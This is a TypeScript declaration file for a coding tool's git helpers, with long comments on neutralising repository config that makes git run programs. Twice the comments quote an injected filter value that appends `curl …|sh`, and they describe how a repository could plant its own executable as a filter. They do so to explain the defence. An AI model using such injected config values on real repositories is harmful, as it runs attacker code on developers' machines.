import type { ActionLog } from './tools'; export interface GitStatus { isRepo: boolean; branch?: string; hasChanges?: boolean; ahead?: number; behind?: number; /** * Why there is no branch here — a GitHardeningError, or git itself failing. * Declared because getGitStatus was already filling it through an * `as GitStatus` cast that the compiler could not check: the field existed * at runtime, nothing in the type said so, and the status line in * renderer/main.ts reads `.branch` only — so a refusal showed up as the * branch silently disappearing. Written for the user; show it where the * branch would go. * * Every way git can fail lands here, including the ordinary ones. The * commonest is a brand-new `git init` with no commit yet, where `git * rev-parse --abbrev-ref HEAD` answers `fatal: ambiguous argument 'HEAD'` * (git 2.54) — which is why nothing should put this in front of the user * as an instruction. Use `refusal` for that. */ error?: string; /** * Set ONLY when the hardening refused to run git here, and never for an * ordinary git failure. The message names the config key and the * `git config --unset` that clears it, so it is the one the TUI shows * verbatim (see gitRefusalNotice in renderer/main.ts). * * This field shipped dead in the first cut of the hotfix: main.ts read * `status.refusal`, `GitStatus` never declared it and getGitStatus never * set it, so the warning it exists to raise never fired once and the only * symptom of a refused repository was the branch quietly vanishing from * the header — the exact symptom that notice was written to remove. When * this is set, `error` carries the same text, so callers that only know * about `error` still say something useful. */ refusal?: string; } export interface GitDiffResult { success: boolean; diff: string; error?: string; } export interface GitCommitResult { success: boolean; hash?: string; error?: string; } /** * Raised instead of handing git an environment that the config scan below * could not finish building. Every caller in this file catches it and reports * `error.message`, which is written for the user rather than for a log. */ export declare class GitHardeningError extends Error { constructor(message: string); } /** * The exact `filter..{clean,smudge,process}` command lines that the * well-known content-filter integrations write into a repository's own * config. A repo-scope filter whose value is one of these is left RUNNING; * every other one refuses the call (see the filter rule below). * * These are whole-value comparisons against a frozen list of literals, never * a prefix or a substring test, and that is the point rather than a detail. * Git runs a filter command through a shell, so `git-lfs clean -- %f; curl * https://…|sh` STARTS WITH an allowlisted line and would sail through a * `startsWith` check while doing something else entirely; `%f` in the middle * of a longer value is the same hole for a substring check. Whole-value * equality against literals also means "contains no shell metacharacter" is a * property of this list rather than something that has to be re-checked at * runtime — and the suite asserts that property so a future entry cannot * quietly break it. * * These are the values with the program named BARE. The same integrations * also spell the program as an absolute path, which is the machine's and not * a string this file can pin — see isSafeContentFilterCommand(), which takes * the basename apart and compares it against this same list. * * A spelling that is NOT accepted in any form: `"" -m * nbstripout`, which newer nbstripout installers write. Its program is * `python`, so there is nothing to recognise in it — the argument tail is * what says what it will do, and pinning `-m nbstripout` would pin a * mechanism for running any module at all. Those repositories get the * refusal and its `--unset`, which is the fail-closed half of the policy * working as intended rather than an oversight. */ export declare const SAFE_CONTENT_FILTER_COMMANDS: ReadonlySet; /** * Whether a repo-scope `filter..{clean,smudge,process}` value is one * of the well-known integrations — accepting the spelling that names the * program by an ABSOLUTE PATH, which the frozen list above cannot hold. * * `/usr/local/bin/git-lfs filter-process` is what a `git lfs install` writes * on a machine where git-lfs is not the one on PATH, and git-annex writes the * same shape. Those are ordinary working repositories, and the whole-value * list refused every git call in them — the fail-closed policy landing on the * integrations it was written to keep running. * * What is compared is the program's BASENAME plus the argument tail EXACTLY * as the literal spells it, so every property of the list survives the * relaxation. `/usr/local/bin/git-lfs clean -- %f; curl …|sh` fails on its * bytes before anything is compared; `… clean -- %f --extra` and `… * FILTER-PROCESS` produce a tail that is not in the list; a leading command * puts something other than an absolute path in the first word. There is no * prefix matching anywhere in here, in either half. * * And the path has to name the program PATH ALREADY RESOLVES that basename * to, which is the check that keeps this from being a way in. Without it the * repository picks the program: it ships an executable called `git-lfs` — or * `cat`, which is on the list with no arguments at all — points the filter at * its own checkout, and git runs it. That is not a relaxation of the * allowlist, it is the end of it. With it, an absolute path can only name the * same file the bare spelling on the list would have run anyway, so the * repository gains nothing by writing it out. * * `env` is the environment the REAL git call will run under, so the PATH * asked here is the PATH the shell git spawns would search. */ export declare function isSafeContentFilterCommand(value: string, env: NodeJS.ProcessEnv): boolean; /** * Whether `=` is a config key that makes git RUN a program. * * Exported for utils/shell.ts, which has to answer the same question about a * `git -c =` an agent typed. Keeping one answer is the point: * these are exactly the keys this file spends its length neutralising, and a * second hand-written list in the command validator would drift away from * this one the first time a rule is added here. * * Both halves matter. GIT_EXECUTING_CONFIG is the always-on set, so a `-c * core.fsmonitor=` would otherwise WIN — git reads its own `-c` * after the GIT_CONFIG_* pairs (verified, git 2.54). REPO_EXECUTING_RULES is * the scope-aware set, and `-c` is not a scope the scan can see at all. */ export declare function isExecutingConfigKey(key: string): boolean; /** * How many submodule configs one call will read, and how far the enumeration * follows submodules of submodules. * * Both are bounds on a tree the REPOSITORY owns — a checkout can declare as * many submodules, nested as deeply, as whoever prepared it liked. Past * either one the call is REFUSED rather than partly scanned: "we looked at * some of your submodules" is a fail-open dressed as a limit. Every other * bound in this pass throws for the same reason, which is the half that used * to be missing — the depth guard and the directory-read failure both used * to `return`, so a tree nested one level too deep, or a `.git/modules` we * had no permission to read, silently became "this repository has no * submodules". * * The count was 512, and that was a wall rather than a backstop: a * superproject past it was refused forever, with a message naming nothing * the user could change. 2048 is an order of magnitude past the largest real * superproject, so only a tree built to reach it does. It is not raised * further because every config read is one more `-c include.path=` argument * on one command line, and a Windows command line stops at 32KB; and the * message now names the two things that get the user moving again. */ export declare const MAX_SUBMODULE_CONFIGS = 2048; export interface HardenedGitEnvOptions { /** * The repository the git call will run in — the same `cwd` the spawn gets. * Its config is scanned so repo-supplied programs can be neutralised, so a * caller that passes the wrong one gets the wrong repository's protection. */ cwd?: string; /** * Disable the repository's hooks. Only for the commands Codeep runs BY * ITSELF — status, diff, rev-parse, show, ls-files, log — where the user * never asked for a hook to run. Commands the user triggered (`/commit`, * `/git-commit`, the agent auto-commit, a branch switch) leave it false, so * lint-staged, commit-signing hooks and Codeep's own review hook run * exactly as they would in the user's terminal. * * What justifies leaving them on is the approval, not a claim that a hook * cannot get onto disk. The user asked for this commit or this checkout, so * the repository's hooks run for it exactly as they would if they had typed * the command themselves — and that is the whole argument. The write gate * in utils/toolExecution.ts raises a confirmation for a hook a MODEL writes * with write_file; it does not, and does not claim to, cover a shell * command the user approved, where `node setup.cjs`, `cp`, `tee` or a * redirect writes the same file with nothing to prompt about (reproduced * twice against git 2.54). See the comment above that gate, which says the * same thing from the other side. */ noHooks?: boolean; /** * The environment to harden, defaulting to this process's. A caller with * its own overrides must pass them HERE rather than spreading them over the * result: their `GIT_CONFIG_COUNT` would replace ours and silently drop * every override above their count. */ base?: NodeJS.ProcessEnv; } /** * The environment for a git child process, with every command-executing config * key neutralised. Pass it to EVERY git spawn — including the read-only ones: * `git status` is the call that runs `core.fsmonitor` and a `filter..clean`. * * It costs one `git config --list` plus one `git ls-files` per call — * measured 13.6ms here in a plain repository at its root, 19.7ms in one with * a submodule, 28.3ms with fifty of them and 47.7ms in a 100k-file checkout * with none (see listSubmoduleConfig for where each part goes, and for why * the index is read even in a repository that declares no submodules) — so build * it ONCE per function and hand the same object to every spawn inside. There is * deliberately no cache across calls: the scan's whole job is to notice what * the repository's config says RIGHT NOW, and a hostile `.git/config` written * after a cache warmed would be the one it failed to neutralise. Nothing needs * one either — the only repeated caller, the status-line branch in * renderer/main.ts, already caches its own result and re-reads only when the * project moved or an agent run finished. * * Environment variables are the USER's, not the repository's, so this removes * exactly one and leaves the rest: * * - `GIT_CONFIG_PARAMETERS` is deleted. Git reads it AFTER the * `GIT_CONFIG_COUNT` pairs and it wins, which silently disables this whole * function (verified). Nothing sets it but git itself, for its own children. * - `GIT_EXTERNAL_DIFF`, `GIT_SSH_COMMAND`, `GIT_ASKPASS`, `GIT_PROXY_COMMAND` * name programs, but ones the user exported for their own git. Codeep's diff * reads pass `--no-ext-diff`, which beats `GIT_EXTERNAL_DIFF` anyway. * - `GIT_DIR`, `GIT_WORK_TREE`, `GIT_INDEX_FILE`, `GIT_COMMON_DIR` are kept * because a hook exports them: the pre-commit hook Codeep installs runs * `codeep review`, and `git diff --cached` there must read the hook's * TEMPORARY index to see what is really being committed. * - `GIT_CONFIG_GLOBAL` / `GIT_CONFIG_SYSTEM` / `GIT_ALTERNATE_OBJECT_DIRECTORIES` * are kept: the scan above runs under this same environment, so it sees * whatever they make git see. * * Anyone who can set environment variables on this process already owns it. * * THROWS `GitHardeningError` rather than return a half-built environment when * the config scan cannot complete, or when the repository named a program no * override can switch off. The scan used to swallow every error and fall back * to the always-on pairs alone, so a repository that padded its `.git/config` * past the read buffer turned the entire repo-scope layer off in silence and * ran its `filter..clean` on the next `git status`. Every caller in this * file catches it and degrades: the status line loses its branch, `/commit`, * `@git` and the review path show `error.message`, which is written for the * user. A NEW caller has to do the same, or the refusal reaches them as a * crash — and a caller inside a promise executor that does not catch it never * settles at all. */ export declare function hardenedGitEnv(options?: HardenedGitEnvOptions): NodeJS.ProcessEnv; /** A repository whose git Codeep is willing to run. Refusals answer `false`; * callers that can show a reason use the functions below, which carry it. */ export declare function isGitRepository(cwd?: string): boolean; /** * Get current git status */ export declare function getGitStatus(cwd?: string): GitStatus; /** * Get git diff (staged or unstaged) */ export declare function getGitDiff(staged?: boolean, cwd?: string): GitDiffResult; export interface GitChangedFilesResult { files: string[]; /** * Why the list is empty because git would not run, rather than because * nothing changed. The two read the same through getChangedFiles() below, * and a caller that gates work on "are there changes?" — the review * pipeline in utils/codeReview.ts does — would otherwise quietly review * nothing in a repository whose config Codeep refuses to run git in. */ error?: string; } /** * Get list of changed files, with the reason when there are none. */ export declare function getChangedFilesResult(cwd?: string): GitChangedFilesResult; /** * Get list of changed files. Empty on any failure — see * getChangedFilesResult() when the difference between "nothing changed" and * "git was refused" matters. */ export declare function getChangedFiles(cwd?: string): string[]; /** * Generate commit message suggestion based on diff */ export declare function suggestCommitMessage(diff: string): string; /** * Create a commit with the given message */ export declare function createCommit(message: string, cwd?: string): GitCommitResult; /** * Stage all changes, with the reason when it did not happen. * * The reason matters most in a repository with a REQUIRED content filter — * git-crypt, git-lfs, any repo-local `filter..required = true`. The * repo-scope layer empties that driver's `clean` command and deliberately * leaves `required` alone, so git aborts with `fatal: : clean filter * '' failed` and exit 128 rather than writing the unfiltered content. That * is the intended outcome (see the filter rule above: the alternative was * plaintext secrets in the object database), and it is only useful if the * user gets to read it — `stdio: 'ignore'` here used to throw the sentence * away and leave them with "Failed to stage changes". */ export declare function stageAllResult(cwd?: string): { success: boolean; error?: string; }; /** * Stage all changes. See stageAllResult() when the reason matters. */ export declare function stageAll(cwd?: string): boolean; /** * Format git diff for display */ export declare function formatDiffForDisplay(diff: string, maxLines?: number): string; /** * Create a new branch */ export declare function createBranch(branchName: string, cwd?: string): { success: boolean; error?: string; }; /** * Switch to a branch */ export declare function switchBranch(branchName: string, cwd?: string): { success: boolean; error?: string; }; /** * Generate a commit message based on agent actions */ export declare function generateCommitMessage(prompt: string, actions: ActionLog[]): string; /** * Auto-commit agent changes */ export declare function autoCommitAgentChanges(prompt: string, actions: ActionLog[], cwd?: string): GitCommitResult; /** * Generate branch name from prompt */ export declare function generateBranchName(prompt: string): string; /** * Create branch and commit agent changes */ export declare function createBranchAndCommit(prompt: string, actions: ActionLog[], cwd?: string): { success: boolean; branch?: string; hash?: string; error?: string; }; /** * Result of resolving a `@git ` mention. */ export interface GitContentResult { success: boolean; /** Raw output from git (diff text, file content, or commit metadata). */ content: string; /** A short label for the [Attached files]-style block header. */ label: string; error?: string; } /** Max bytes we'll inline from a single `@git` mention. */ export declare const MAX_GIT_BYTES: number; export declare function isSafeGitRef(token: string): boolean; /** * Resolve a `@git ` mention to inline content. The `ref` can be: * * - `diff` — unstaged changes (`git diff`) * - `diff --staged` — staged changes (`git diff --cached`) * - `diff a..b` — diff between two refs (`git diff a..b`) * - `HEAD` — the latest commit's full diff vs its parent * - `` — a specific commit's patch (`git show `) * - `:` — a file at a ref (`git show main:src/x.ts`) * - `` — any other git ref → `git show` * * Sync (spawn-based) so it slots into the mention-expansion pipeline. */ export declare function getGitContent(ref: string, cwd?: string): GitContentResult;